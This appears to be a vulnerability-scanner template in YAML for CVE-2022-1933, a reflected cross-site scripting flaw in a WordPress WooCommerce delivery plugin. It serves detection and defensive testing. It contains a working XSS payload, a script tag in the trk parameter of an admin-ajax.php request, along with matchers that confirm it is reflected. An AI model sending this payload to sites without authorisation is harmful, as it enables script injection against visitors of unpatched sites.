44 lines
1.3 KiB
YAML
44 lines
1.3 KiB
YAML
id: CVE-2022-1933
|
|
|
|
info:
|
|
name: CDI < 5.1.9 - Cross Site Scripting
|
|
author: Akincibor
|
|
severity: medium
|
|
description: |
|
|
The plugin does not sanitise and escape a parameter before outputting it back in the response of an AJAX action (available to both unauthenticated and authenticated users), leading to a Reflected Cross-Site Scripting.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/6cedb27f-6140-4cba-836f-63de98e521bf
|
|
- https://wordpress.org/plugins/collect-and-deliver-interface-for-woocommerce/advanced/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-1933
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2022-1933
|
|
cwe-id: CWE-79
|
|
metadata:
|
|
verified: "true"
|
|
tags: cdi,wpscan,cve,cve2022,wp-plugin,wp,wordpress,xss
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=cdi_collect_follow&trk=%3Cscript%3Ealert(document.domain)%3C/script%3E'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '<script>alert(document.domain)</script>'
|
|
- 'Tracking code not correct'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|